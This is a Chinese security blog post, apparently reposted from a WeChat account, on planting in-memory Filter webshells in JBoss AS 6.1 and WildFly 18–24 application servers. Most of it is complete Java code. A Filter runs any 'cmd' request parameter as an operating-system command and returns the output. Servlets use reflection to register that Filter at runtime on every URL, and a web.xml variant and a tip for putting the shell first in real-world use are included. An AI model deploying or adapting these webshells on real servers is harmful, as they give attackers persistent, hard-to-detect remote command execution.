JBoss & WildFly Filter 内存马

admin 2022年3月15日01:22:42评论395 views字数 8317阅读27分43秒阅读模式
缘起万户OA

0x01 JBoss

低版本内嵌Tomcat

  • 以前属实没有注意到JBoss内嵌的是Tomcat

JBoss & WildFly Filter 内存马


JBoss & WildFly Filter 内存马

都是熟悉的面孔: ApplicationContext 、 StandardContext 

JBoss & WildFly Filter 内存马

直接抄一遍Tomcat的作业

1、Filter内存马实现

测试版本

JBoss AS v6.1.0.Final

实现代码

import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;import javax.servlet.*;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Map;
public class FilterInject6 extends HttpServlet { static public class myfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + 'n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() {
}
}
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { try { final String name = "filterDemo"; ServletContext servletContext = req.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Filter evilFilter = new myfilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(evilFilter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); resp.getWriter().write("inject success"); } catch (NoSuchFieldException | NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException e) { e.printStackTrace(); } }}

测试效果

JBoss & WildFly Filter 内存马


0x02 WildFly

WildFly,原名JBoss AS或者JBoss,是一套应用程序服务器,属于开源的企业级Java中间件软件,用于实现基于SOA架构的web应用和服务。

1、ServletContext


1.1、获取Context-基于getServletContext()

ServletContext servletContext = request.getServletContext();

JBoss & WildFly Filter 内存马


2、Filter内存马实现

2.1、静态添加-基于web.xml

FilterShell.java

package com.example.wildfly;import javax.servlet.*;import java.io.IOException;
public class FilterShell implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain filterChain) throws IOException, ServletException { try { String cmd; if ((cmd = req.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + 'n'); } resp.getOutputStream().write(stringBuilder.toString().getBytes()); resp.getOutputStream().flush(); resp.getOutputStream().close(); } filterChain.doFilter(req, resp); }catch (Exception e){ filterChain.doFilter(req, resp);        } }
@Override    public void destroy() { }}

web.xml

<filter>    <filter-name>FilterShell</filter-name>    <filter-class>com.example.wildfly.FilterShell</filter-class></filter><filter-mapping>    <filter-name>FilterShell</filter-name>    <url-pattern>/index</url-pattern></filter-mapping>

测试版本

WildFly v18.0.0.Final

测试效果

JBoss & WildFly Filter 内存马


2.2、动态添加-基于DeploymentInfo

参考资料

https://www.tabnine.com/code/java/methods/io.undertow.servlet.api.DeploymentInfo/addFilter

JBoss & WildFly Filter 内存马

拎出来,该反射的用反射实现就成

  • 基于getServletContext()获取上下文Context

ServletContext servletContext = request.getServletContext();
  • 生成恶意Filter

Filter evilFilter = new FilterShell();
  • 构造FilterInfo

FilterInfo filter = new FilterInfo(evilFilter.getClass().getName(),evilFilter.getClass());
  • 反射获取deploymentInfo,调用 public DeploymentInfo addFilter 添加filter

Field deploymentInfoF = servletContext.getClass().getDeclaredField("deploymentInfo");deploymentInfoF.setAccessible(true);DeploymentInfo deploymentInfo = (DeploymentInfo)deploymentInfoF.get(servletContext);deploymentInfo.addFilter(filter);
  • 反射获取deployment,调用 public ManagedFilter addFilter 将filterInfo添加到filters

Field deploymentF= servletContext.getClass().getDeclaredField("deployment");deploymentF.setAccessible(true);DeploymentImpl deployment = (DeploymentImpl) deploymentF.get(servletContext);deployment.getFilters().addFilter(filter);
  • 调用 addFilterUrlMapping 添加映射即可

deploymentInfo.addFilterUrlMapping(evilFilter.getClass().getName(), "/*",DispatcherType.REQUEST);
  • 添加banner信息

response.getWriter().write("inject success !!!");

代码整合如下

package com.example.wildfly;
import io.undertow.servlet.api.DeploymentInfo;import io.undertow.servlet.api.FilterInfo;import io.undertow.servlet.core.DeploymentImpl;import javax.servlet.*;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;
/** * Tested version: * WildFly 18.0.0.Final * Wildfly 20.0.1.Final * WildFly 24.0.1.Final * */public class FilterInject extends HttpServlet { public static class FilterShell implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + 'n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }
@Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletContext servletContext = request.getServletContext(); Filter evilFilter = new FilterShell(); FilterInfo filterInfo = new FilterInfo(evilFilter.getClass().getName(), evilFilter.getClass()); Field deploymentInfoF = servletContext.getClass().getDeclaredField("deploymentInfo"); deploymentInfoF.setAccessible(true); DeploymentInfo deploymentInfo = (DeploymentInfo) deploymentInfoF.get(servletContext); deploymentInfo.addFilter(filterInfo); Field deploymentF= servletContext.getClass().getDeclaredField("deployment"); deploymentF.setAccessible(true); DeploymentImpl deployment = (DeploymentImpl) deploymentF.get(servletContext); deployment.getFilters().addFilter(filterInfo); deploymentInfo.addFilterUrlMapping(evilFilter.getClass().getName(), "/*", DispatcherType.REQUEST); response.getWriter().write("inject success !!!"); } catch (Exception e) { e.printStackTrace(); } }}

测试效果

JBoss & WildFly Filter 内存马



注:实战场景也许有将evilFilter置首的需求,可使用

  • io.undertow.servlet.api.DeploymentInfo#insertFilterUrlMapping

deploymentInfo.insertFilterUrlMapping(0,evilFilter.getClass().getName(),"/*",DispatcherType.REQUEST);


原文始发于微信公众号(pen4uin):JBoss & WildFly Filter 内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日01:22:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JBoss & WildFly Filter 内存马http://cn-sec.com/archives/829020.html

发表评论

匿名网友 填写信息